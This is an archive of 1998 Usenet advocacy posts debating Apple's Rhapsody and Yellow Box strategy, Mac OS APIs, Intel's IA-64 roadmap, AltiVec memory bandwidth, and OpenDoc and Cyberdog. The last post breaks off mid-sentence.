-> In article <F18FLy.Ap7@T-FCN.Net>,
-> Maury Markowitz <maury@remove_this.istar.ca> wrote:
->
-> ... Lawson, the MacOS
-> >API's are old and tired. They NEED to GO! ...
->
-> I agree -- I've been doing some dialog-box programming, and I find
-> it annoying to have to write a lot of app-level event-dispatching code.
Yeah, I'm glad that my days of writing code to the Mac toolbox APIs are about
seven years behind me now. The big shock in going to NeXTStep
(capitalization indicates when I made the switch!) was realizing how much
code I didn't have to write myself anymore.
Isn't it funny how we agree on most things here, and disagree on most things
over in talk.politics.libertarian?
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: cybin9NOSPAM@hotmail.NOSPAMcom (cybin)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A prediction
Date: Thu, 22 Oct 1998 19:49:48 -0500
Organization: ChachiSpice, Inc.
Message-ID: <cybin9NOSPAM-2210981949490001@randolphmax1-107.megsinet.net>
References: <70ipmn$osd@newsb.netnews.att.com>
In article <70ipmn$osd@newsb.netnews.att.com>,
gupta@knim.tm.tta.moc-mirror after @ wrote:
> A VNUNET (UK) article on the recent Microprocessor Forum
> notes that Intel is downplaying its first 64-bit EPIC processor,
> Merced and emphasizing its successor, McKinley.
>
> Intel is reported to have made it clear that IA-64 will not
> be significantly faster than IA-32, until McKinley, in late 2001.
> (IA-32 will be increasing in speed as well, with Foster being
> as fast as Merced).
>
<snip>
You know, this "late 2001" etc. is typical propaganda/BS. In late 2001
who the hell is going to remember that this was announced in 1998? They
have no clue what they are talking about. They just feed this stuff out
to give "hope" and to sustain market share. Don't believe me? Read
"Propaganda. The Formation of Men's Attitudes" by Jacques Ellul. First
published in 1962 it is still valid today.
Peace,
ç
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Rhaptel OR MacYB on Linux/BSD? (was re: Apple as Linux vendor)
Date: Fri, 23 Oct 1998 17:54:24 +1000
Organization: OzEmail Ltd.
Message-ID: <70pcgr$kke$1@reader1.reader.news.ozemail.net>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0xG4H.5Co@T-FCN.Net> <FIiROLCWddLd-pn2-CkcI6L9GcQM0@localhost> <F0y0C6.5q2@T-FCN.Net>
Maury Markowitz wrote in message ...
>taiQ wrote:
>> What would be involved with making it "direct"
>
> A directly supported version would basically require a port of the QTML
>over (which is likely not terribly difficult) and porting over a smallish
>number of servers (in the mach sense) and re-coding them to use Linux's
>threading packages, finally there's the object runtime. That's basically
>the majority of it, and it would be FAR easier to port it to Linux than to
>NT, which they've already done.
>
> The project is certainly _possible_, likely not terribly hard, and of
>some benefit to both parties.
I'm interested - if everyone had to choose between Rhaptel and a
MacGUI + YB on Linux (or BSD), what would you prefer?
(This is assuming roughly the same cost for either.)
Would you be more likely (or less?) to buy either platform?
Using existing Open source means you get a good compatibility with
existing Intel hardware. Apple just has to worry about working on the
popular distributions.
My only criticism would be if Apple bundled Unix utilities (eg Samba or Apache)
with new GUIs on MOSX Server, but didn't do the same for their Linux/BSD compile.
If they bundled on *BSD - then any code improvements made to those
systems wrt YB would be easily transferable to MOSX.
Just wondering!
Greg
From: cybin9NOSPAM@hotmail.NOSPAMcom (cybin)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: A prediction
Date: Thu, 22 Oct 1998 20:39:06 -0500
Organization: ChachiSpice, Inc.
Message-ID: <cybin9NOSPAM-2210982039060001@randolphmax1-107.megsinet.net>
References: <70ipmn$osd@newsb.netnews.att.com>
In article <70ipmn$osd@newsb.netnews.att.com>,
gupta@knim.tm.tta.moc-mirror after @ wrote:
> A VNUNET (UK) article on the recent Microprocessor Forum
> notes that Intel is downplaying its first 64-bit EPIC processor,
> Merced and emphasizing its successor, McKinley.
>
> Intel is reported to have made it clear that IA-64 will not
> be significantly faster than IA-32, until McKinley, in late 2001.
> (IA-32 will be increasing in speed as well, with Foster being
> as fast as Merced).
<snip>
Not to take away from the paragraph that I removed, but this "such and
such will be ready by LATE 2001" is typical propaganda/BS. Who the hell
is going to remember this announcement 3 years from now? No one, except
the spin doctors (Intel) who wrote it. And when it's NOT ready, or some
other developer beats them to it, do you think they'll remind us?
Hahahahaha. This is just a classic example of building "faith" in order
to keep market share, ie. "why should I switch to Mac (or anything else)
when Intel is busy making my system faster?" Hahahahahahaha.
Need more proof? Read "Propaganda. The Formation of Men's Attitudes"
First published in 1962 its still valid today.
Peace,
ç
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
Date: Fri, 23 Oct 1998 18:01:08 +1000
Organization: OzEmail Ltd.
Message-ID: <70pctf$8du$1@reader1.reader.news.ozemail.net>
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost> <36290618.7C76D28F@nstar.net> <3629ca02.0@nnrp1.news.uk.psi.net> <362AB5AC.486BB4C1@nstar.net> <362B48AC.B76912D5@cadence.com>
Simon Kinahan wrote in message <362B48AC.B76912D5@cadence.com>...
>I think all free software licensing schemes have their place, as I've said
>in an earlier post. The problem with the BSD-style license you seem to be
>advocating above is that commercial resellers of the originally free
>software can add very small amounts of functionality (new drivers for
>instance) which the free software community has not managed to introduce
>yet, and make a killing from people with a need for them.
If (for instance) Apple works with a BSD style system (& license) on it's
CoreOS, then anything others add to the system (the *BSDs) can be added
to Apple's CoreOS. Apple can give back stuff, but can decide at any point
to "go it alone" once more. Of course, the earlier versions would still be
out there to use, but new Apple work would be theirs alone.
Then again, a real BSD license means that MS could come along and
take all Apple's CoreOS and use and modify it as much as they want and
Apple couldn't do anything! Of course, there's nothing stopping them
doing that with *BSD today.
Difficult choice eh?
Greg
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Tired Old MacOS API's (was Re: Mac OS X Server)
Date: 23 Oct 98 01:21:05 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2558A84-9E6F4@206.165.43.165>
References: <macghod-2210982300150001@1cust130.tnt1.santa-barbara.ca.da.uu.
net>
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nntp://news.primenet.com/comp.sys.mac.advocacy
Who writes code directly to the MacOS API's?
For the most part (perhaps not as well as OpenStep/YB), the various
frameworks hide things from you, just as they are supposed to.
But, I *still* maintain that there are lots of places where the currently
announced graphics capabilities of YB and Carbon fall far short of GX.
And there's still no OpenDoc for YB.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 22 Oct 1998 10:41:45 -0500
Organization: Ericsson North America Inc.
Message-ID: <362F5239.6C1C8ED9@ericsson.com>
References: <F17AF7.K7I@T-FCN.Net> <B253CB6F-25222@206.165.43.156> <F18HKC.C4w@T-FCN.Net>
Mime-Version: 1.0
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Maury Markowitz wrote:
>
> In <B253CB6F-25222@206.165.43.156> "Lawson English" wrote:
> > If CR1 was meant to ship in 1Q98, it will be at least a year late. In
> > Apple-ese, 1Q98 is Christmas 97. Of course, you can insist that they meant
> > some other company's 1Q98...
>
> Oh come on Lawson, this nit pick is entirely silly.
>
> Premier/CR1 was supposed to be released in "the first half of 98". No
> one said "Q1" and Apple's financial Q's have _never_ been used as
> chronological dates for releases.
Yeah, they have, and yeah, it was originally scheduled for the end of
1997:
"The first customer shipment of the OS, to be called Rhapsody Premier
Release, will be as compatible with Mac OS 7.x applications as Apple can
manage by the end of 1997, said Vito Salvaggio, product line manager for
Mac OS releases, in comments following Amelio's keynote."
It wouldn't be so important to nail down this point if it weren't for a
number of people attempting to rewrite history and misrepresent how late
Rhapsody actually is. "Steve is doing great, Steve has a strategy, blah
blah blah". It will give me no satisfaction that these people come to
their senses if it is too late when they do. They need to come to an
understanding of how just poorly this OS strategy has been executed.
Rhapsody was due by *early* 1998 and neither DR1 nor DR2 fit the
description. That is the state of affairs.
MJP
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
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<70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
<70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net>
<70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net>
<F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com>
<F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com>
<70lcvv$j2m$1@nnrp1.dejanews.com> <FIiROLCWddLd-pn2-YZYh8xLnlpzj@localhost>
Message-ID: <7vIX1.5589$yb5.4012386@news.rdc1.sdca.home.com>
Date: Thu, 22 Oct 1998 15:50:27 GMT
NNTP-Posting-Date: Thu, 22 Oct 1998 08:50:27 PDT
Organization: @Home Network
In <FIiROLCWddLd-pn2-YZYh8xLnlpzj@localhost> taiQ wrote:
> On Wed, 21 Oct 1998 19:34:23, spagiola@my-dejanews.com thought aloud:
>
> > Michael Peck <Michael.Peck@ericsson.com> wrote:
> > >
[snip double-sided Yellow Box debate]
>
> So, these days you don't see much enthusiasm towards YB; instead,
> there's a lot of unfortunate squabbling between Apple's customers over
> "where they are taking us, if anywhere". But to say that there NEVER
> WAS ANY interest in the Mac market towards YB is rewriting history to
> fit the present.
>
>
>
BOTH are correct... there aren't two sides of this debate topic. Package
these views together and a more balanced perspective on the _whole_ YB
history emerges. Rewriting history to fit the present is an oxymoron.
Little selective license can be employed to fit a "present" so ill-defined
that neither Apple, Apple's customers nor Apple Guru's know where they are
taking us.
I have deeply held beliefs in choosing to name a Core technology "Yellow".
Historical points - at WWDC NO Apple Developer's visiting NeXT/WebObjects
Pavillion inquired about YB. WWDC's most attractive event was MacOS 8
preview. NO Apple Developers announced development of a core Mac OS app for
Rhapsody. From experience as a YB developer at WWDC there NEVER WAS ANY
interest in either YB or TRUSTing Apple.
Apple's lack of technology leadership and developer trust was shocking...
what followed was not.
-r
Rex Riley
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Thu, 22 Oct 1998 14:58:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70nh71$v87$1@nnrp1.dejanews.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <362CD8F5.27CBFE58@ericsson.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <FIiROLCWddLd-pn2-YZYh8xLnlpzj@localhost>
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> On Wed, 21 Oct 1998 19:34:23, spagiola@my-dejanews.com thought aloud:
> > > Yes, clever strategy Jobs was pursuing, wasn't it? I'm (not) so glad to
> > > hear that in the span of time from August 1997 to May 1998 Jobs managed
> > > to basically kill all enthusiasm in the MacOS market for YB.
> >
> > Now, I've been loudly criticizing Apple in this forum, but I think that this
> > is just unfair. You can blame Jobs, perhaps, for not doing enough to sell
> > YB. But blaming him for killing interest in it is just unfair hyperbole.
> [cut]
> > The sad fact is, there NEVER WAS any enthusiasm for YB in the MacOS
> > market, most of whose members had their heads stuck way too deep in
> > the sand to take an objective look at it.
>
> That is quite a statement to make; and the tone of it unfortunate too.
> I can't speak for "the Mac OS market", especially as I only entered
> the Mac scene soon after the NeXT deal ... but nevertheless... according
> to my perception of the market in '97 the visible sections of the Mac
> user community were rather enthusiastic about Rhapsody ...
> [cut]
> ... to say that there NEVER WAS ANY interest in the Mac market towards
> YB is rewriting history to fit the present.
You're right, I should have been more precise: AMONG MAC DEVELOPERS there
never was any interest for YB, ergo, Steve couldn't have killed it. Make a
list of all the traditional Mac developers who announced YB ports of their
apps, or new apps written with YB, in 1997, and you'll come up with a very
short list indeed.
So I don't think Steve can be blamed for killing interest in YB among Mac
developers. I think he and Apple collectively CAN be blamed for making the
problem worse by the way they presented the new OSX strategy, under which it
appeared that Apple's commitment to YB was wavering at best, and non-existent
at worst. A strong advocacy stance may well have persuaded more developers to
start developing with YB, especially once the availability of Carbon promised
a much smoother transition to the new OS (and hence a much larger number of
potential customers). Instead, what we got was absolute and total silence.
To the point that when half-baked "OSX Server is cancelled" rumors come
around, they sound completely plausible.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <362F5E99.C4E28F93@fmr.com>
From: Andrew Robertson <Andrew.Robertson@fmr.com>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Bold prediction! Forget Server...
References: <70fpbp$dhd$1@nnrp1.dejanews.com> <70fvt4$mdh$2@news.xmission.com>
<70g8bp$2k5$1@msunews.cl.msu.edu> <YPdX1.2567$yb5.3013570@news.rdc1.sdca.home.com> <F16Mpz.7ID@T-FCN.Net> <362E02A9.4A009BDA@ericsson.com>
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Date: Thu, 22 Oct 1998 12:34:33 -0400
NNTP-Posting-Date: Thu, 22 Oct 1998 12:32:13 EDT
Organization: Fidelity Investments
Michael Peck wrote:
> Maury Markowitz wrote:
>
> > I don't know a single developer that makes less that $50k, most I know
> > make about $75. Many of them do VB or Perl for that $75. I don't know
> > what market you refer to, I've never seen any hint of it.
>
> That sounds like it would be great. Unfortunately, either you're an
> exceptional full-time developer or you're overpaid. I won't guess.
> $75,000 for VB or Perl development work...you'd better be one hell of a
> whiz.
>
> Then again, maybe I'm sheltered by the catholic nature of the
> Dallas-Ft.Worth metroplex Telecomm Corridor. I don't know many senior
> engineers who make $75,000 doing even C++ work...
>
> MJP
Get out more.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: Thu, 22 Oct 1998 11:52:40 -0500
Organization: Ericsson North America Inc.
Message-ID: <362F62D8.F23BFC3F@ericsson.com>
References: <F17AF7.K7I@T-FCN.Net> <B253CB6F-25222@206.165.43.156> <F18HKC.C4w@T-FCN.Net> <362F5239.6C1C8ED9@ericsson.com> <ch3-2210980911310001@1cust32.tnt3.redmond.wa.da.uu.net>
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CaHand wrote:
> I think you need to remember that Apple had a severely
> NEGATIVE reaction from EVERYONE regarding DR1. Mac
> developers hated it, OPENSTEP developers hated it. No
> one liked the thing. Most of that criticism was aimed
> at the interface. Apple had to direct significant time
> and resources to work on the interface for DR2. When
> DR2 was released, they received a little less criticism.
> But it was still significant(DR2 overall was well received
> though.)
I don't have all the answers, and this is a historical point that gets
me. I was one of the people who thought the interface was an exciting
opportunity, but in retrospect I think I would have wanted them to make
as NeXTstep-like an interface as possible for the sake of pleasing the
existing market, solidly differentiating the product, and development
time.
In time the interface could change, and that would be my message to the
market: "Look, it's going to change and we're going to listen to you." I
certainly didn't look at it this way at the time.
> The problem with releasing a "Mac" operating system is
> you have a lot of old gaurd mac developers who sit in
> judgement:
>
> "That's not a Mac," "A Mac doesn't do that," etc.
True, but knowing that makes you all the more capable of being
accomodating, right? Right?
MJP
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: To be the Sony of the computer business
Date: 22 Oct 1998 15:49:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <70nk6p$41a@newsb.netnews.att.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com>
Summary: Steve Jobs utterances.
Originator: gupta@tlctest
Today's MacSurfer link to Fortune magazine are worth following :
it gives some insight into what Steve Jobs may be thinking.
http://www.pathfinder.com/fortune/1998/981109/job.html.
Some soundbites from Steve Jobs
"The whole strategy for Apple now is, if you will, to be the Sony
of the computer business".
[about TV-computer convergence] You go to your TV when you want
to turn your brain off. You go to your computer when you want
to turn your brain on.
[about the "plan" ] What I told people was that every decision
didn't have to be right, just enough of them had to be right,
so don't get paralyzed.
[new products] People focus too much on entirely new ideas....
Most good products are really extensions of previous products.
[about rejoining Apple ] I don't want to fail, of course.....
I decided I didn't really care [about
the implications for Pixar, family, reputation] because this is
what I want to do. If I try my best and fail, well, I tried my
best.
[about life] Life is short, and we're all going to die really soon.
It's true, you know.
****
{I confess to posting these here partly so that I can find them easily
when I need them, on Deja News}
-arun gupta
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 22 Oct 98 10:31:43 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B254BA12-14D4B@206.165.43.59>
References: <70nbqh$q6q$1@nnrp1.dejanews.com>
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spagiola@my-dejanews.com said:
>Let's not get into THAT again. My point is: the new (post NeXT
acquisition)
>Apple shipped what IT called OS8 and OS8.5 when it said they would ship
>them.
>
Even in the context of the "new" Apple, that is so only because Apple
ripped features out of 8.0 and added them in the free update, 8.1.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 22 Oct 98 10:34:38 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B254BAC2-17693@206.165.43.59>
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CaHand <ch3@earthlink.net> said:
>
>The problem with releasing a "Mac" operating system is
>you have a lot of old gaurd mac developers who sit in
>judgement:
>
>"That's not a Mac," "A Mac doesn't do that," etc.
The old guard developers are also those who deal directly with old guard
end-users. Far more than Apple does. Apple sells a few million copies of
the OS via hardware distribution and a few million more via software
distribution. Applications developers sell 10's of millions of copies of
their software and have a pretty good idea what makes a Mac app a Mac app.
If THEY don't like the look and feel fo the OS, it is a pretty good bet
that the end-user will hate it.
----------------------------------------------------------------------
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<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Mac OS X Server
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Sender: news@T-FCN.Net
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Cc: sanguish@digifix.com
Organization: My ISP puts something here if I don't.
References: <F170C6.Epu@T-FCN.Net> <B253CCA3-29A64@206.165.43.156>
<70m8mh$ehe$1@news.digifix.com> <F18Fp3.At7@T-FCN.Net>
<70o5c3$4jc$1@news.digifix.com>
Mime-Version: 1.0
Date: Fri, 23 Oct 1998 14:06:20 GMT
In <70o5c3$4jc$1@news.digifix.com> Scott Anguish wrote:
> I wouldn't dare make a statement like this, for fear of the
> CodeWarrior Cult decending on me.. :-)
Well I for one would love to have CW under YB. Frankly the
ProjectBuilder IDE is a steaming pile, and the compiler and linker are so
slow it makes me wonder if someone didn't add spin loops somewhere.
CodeWarrior is killer, they just don't have a good runtime to base it on.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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In <B254E870-62DAF@206.165.43.221> "Lawson English" wrote:
> But how many of the original Thought Police are still at Apple?
I'm not sure this is an issue. The problem that seemed to occur (from my
point of view) is that many people at Apple got the Apple arrogance but
didn't have the Apple brains. It's OK to be arrogant if you're right, and
the people working under Jobs are typically supremely inteligent and thus
tend to be right a lot. However it's not OK to be arrogant if you're
wrong, because then you end up defending the wrong points based on
personality rather than correctness. And frankly, there were a lot of
mediocre people at Apple in the past, as the revolving door forced them to
be more lax.
Apple is famous for saying that they don't give people what they want,
and instead giving them what need. I think they had an idea of what they
needed in 1984 when the Mac team consisted of a few increadibly intelligent
people. I don't think they had an idea of what people needed in 1994, when
the company consisted of huge numbers of people that hadn't been there very
long. Apple pratically refused to fix the OS, while instead supplying
unneeded distractions like PowerTalk and OpenDoc.
There is absolutely no doubt in my mind that the people brought over from
the NeXT side "get it", and that many of the people at Apple prior didn't.
Sadly this appears to result in a political battle inside Apple identical
to that of the Apple II/Mac battles from the early 80's. The MacOS people
feel threatened by the NeXT people and that they are getting dumped on for
what are political reasons rather than technical ones - consider the whole
networking debate for instance.
> Espinoza, as cited in MacTech, when Jobs returned, former NeXT employees
> were counted as Apple employees from the day they went to work for NeXT,
> which gave many NeXT employees seniority over everyone at Apple.
Good.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacApp lives (was Mac OS X Server)
Date: 23 Oct 98 11:02:08 -0700
Organization: Frontier GlobalCenter Inc.
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Maury Markowitz <maury@remove_this.istar.ca> said:
In <johnc-2210981802080001@pppsl1017.chicagonet.net> JohnC wrote:
> They just put out a new release. Even more amazing, from all
indications,
>> they're close to releasing a MacOS/Win32 _cross-platform_ version of the
>> framework.
>
> Who is? Apple or someone else?
>
I couldn't say, but when the Carbon API was announced, I pointed out that
Metrowerks would likely be supporting it via PowerPlant and that no-doubt
Apple would be releasing a MacApp version (and if they didn't, it shouldn't
be that hard for individual companies to do in comparison to porting to
Yellow Box).
At that point, someone from the MacApp team from Apple (I believe) piped up
and said that indeed MacApp WAS being revised for Carbon.
Given the hints that Mike Paquette has made about cross-platform Carbon, I
don't see why MacApp couldn't also make it cross-platform.
And I'm reasonably confident that Adobe would enjoy doing a write-once
implementation of their apps, rather than maintaining their own
cross-platform implementation, if Apple did it for them -especially if it
were using eQD on both platforms.
Why is this so hard to believe?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Date: 23 Oct 98 11:13:14 -0700
Organization: Frontier GlobalCenter Inc.
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Maury Markowitz <maury@remove_this.istar.ca> said:
>Apple pratically refused to fix the OS, while instead supplying
>unneeded distractions like PowerTalk and OpenDoc.
Heh. And how is the ActiveX/OLE implementation of the MacOS?
You're rewriting history to some extent, I think. OpenDoc wasn't meant to
save the OS, but to encourage small developers to write software for the
Mac.
Jobs never understood this, or if he did, he saw OD as a direct competitor
to YB.
This latter interpretation makes sense. Why else should he delete the
entire file-set for Cyberdog from the Apple site? That's never been done
with ANY other OS product that Apple has ever made, dead, unsupported or
what, while people are still using it in large numbers, has it?
Why Cyberdog, which still has a loyal set of users, unless he simply wants
to kill that loyal following by making it impossible for it to grow?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: To be the Sony of the computer business
Date: 23 Oct 1998 18:09:13 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdfeb0$326dd580$06387880@chewy>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <F16M4M.74s@T-FCN.Net> <362E00B4.7DFA199A@ericsson.com> <70lcvv$j2m$1@nnrp1.dejanews.com> <70nk6p$41a@newsb.netnews.att.com> <ericb-2210982024270001@r4149.resnet.cornell.edu> <01bdfe2a$27f06770$06387880@chewy> <362ff040.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote
> In other words, small is relative. Apple's marketshare is
> huge, compared to NeXT, SGI, Sun, Acorn, etc.
Yes, but the point is all these companies (I can't speak for Acorn) are now
essentially failures with respect to their APIs. Remember the NeXT ISV
market was essentially dead when Apple purchased it. SGI is phasing out
its MIPS and IRIX workstations in favor of Intel/NT workstations. Sun has
ditched several APIs (SunView, OpenWindows, Motif, and even OpenStep),
finally (hopefully) settling down with Java (which runs on Windows).
X windows as a programming API seems to have died.
> The problem is to find
> the point that separates 'too small' from 'just right', the
> point where Apple sells enough product to inspire software
> support, and software developers can charge prices competitive
> with Windows apps.
>
> It would help if Apple could assist developers in making sales,
> reducing the cost of each sale as much as possible.
These are all excellent issues, and I don't know what the answers are.
Todd
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 23 Oct 1998 18:37:00 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <70qicc$992@newsb.netnews.att.com>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se> <rbarris-ya023280002010981659250001@206.82.216.1> <Jonas.Palm-2310981836560001@jp.orgk1.dial.lu.se>
Originator: gupta@tlctest
Jonas Palm <Jonas.Palm@orgk1.lu.se> wrote:
>Sure there exist SIMD applications where the bandwidth vs.
>computational intensity relationship is such that AltiVec gives a
>substantial performance increase. Never argued otherwise. But just
>about every discussion of AltiVec I have seen completely neglects
>memory subsystem performance. They even go so far that they do
>instruction counting, which while interesting in its' own right, is
>perfectly useless for predicting performance on real world problems.
Presumably the table at
http://developer.apple.com/hardware/altivec/performanceTable.html
does consider memory performance.
For their numbers of Altivec cycles versus optimized C cycles,
the assumptions for the G4 simulator include (at the foot of the
table ) :
L1 size : 32KB, D-cache and I-cache
L1-L2 interface : 1/2 processor clock, 128b transfer
L2-Mem interface : 1/4 processor clock, 128b transfer
L2 size : 2MB
L2 latency : 6-2 processor clocks
Memory type : SDRAM
Mem latency : 20-4 (44-4)processor clock for page hit (miss).
-arun gupta
From: Jonas.Palm@orgk1.lu.se (Jonas Palm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Fri, 23 Oct 1998 19:22:12 +0100
Organization: University of Lund, Sweden
Message-ID: <Jonas.Palm-2310981922120001@jp.orgk1.dial.lu.se>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net> <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se> <rbarris-ya023280002010981659250001@206.82.216.1> <Jonas.Palm-2310981836560001@jp.orgk1.dial.lu.se>
In article <Jonas.Palm-2310981836560001@jp.orgk1.dial.lu.se>,
Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
>
> Making performance predictions without taking problem size/bandwidth
> issues into account is folly. But it makes great marketing.
Oh my, that came out a bit harsh.
But honestly, I have seen no scientific SIMD code that wouldn't
be horribly bandwidth starved on macs even without AltiVec, so
it feels very strange that the issue is ignored.
Jonas Palm
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: YB developer's lost revenues
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Date: Fri, 23 Oct 1998 19:10:29 GMT
In <B256154D-35BC7@206.165.43.86> "Lawson English" wrote:
> You're rewriting history to some extent, I think. OpenDoc wasn't meant to
> save the OS, but to encourage small developers to write software for the
> Mac.
No, but that's my point - you're right, OD wasn't meant to fix the OS,
but fixes to the OS is what was really needed. I've noted this before, had
they fixed the OS first, OD would be easy to implement. Under YB OD is a
small and likely worthwhile extension, under MacOS it was a memory robbing
pig.
> Jobs never understood this, or if he did, he saw OD as a direct competitor
> to YB.
No, he saw that OD fixed real problems the wrong way. The way to make
software easier to write for the Mac is to use YB, not to include a huge
alter-OS that's incompatible with anything in the world and who's tools
aren't real.
> This latter interpretation makes sense. Why else should he delete the
> entire file-set for Cyberdog from the Apple site? That's never been done
> with ANY other OS product that Apple has ever made, dead, unsupported or
> what, while people are still using it in large numbers, has it?
A better way to tell is to do searches on Apple's site for these items,
so I did...
Search term Number of hits
OpenDoc 593
Cyberdog 554
PowerTalk 250
PowerShare 33
CommToolbox 126
Pippin 44
MacX.25 1
MacX.400 2 (neither really about it)
A/ROSE 20 (some in common with the above three)
As you can see Apple's information on OD or CD alone far outnumbers these
other examples put together. You're just picking an example that was
created after the web was a going concern and thus actually had a page that
could be shut down. Sorry, no dice, the first two also had web pages at a
minimum.
> Why Cyberdog, which still has a loyal set of users, unless he simply wants
> to kill that loyal following by making it impossible for it to grow?
See above. You want to turn everything you don't like into a Jobsian
conspiracy theory, but we're all just tired of these delusions.
Maury
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Early Web expericence
Date: 23 Oct 1998 17:36:35 GMT
Organization: MiscKit Development
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pfkeb@libra.slac.stanford.edu (Paul F. Kunz) wrote:
> But what I don't know, is whether anybody else outside of Europe
> had downloaded the NeXT browser software to their NeXT and given
> it a try before I did it. I remember that about July or so in
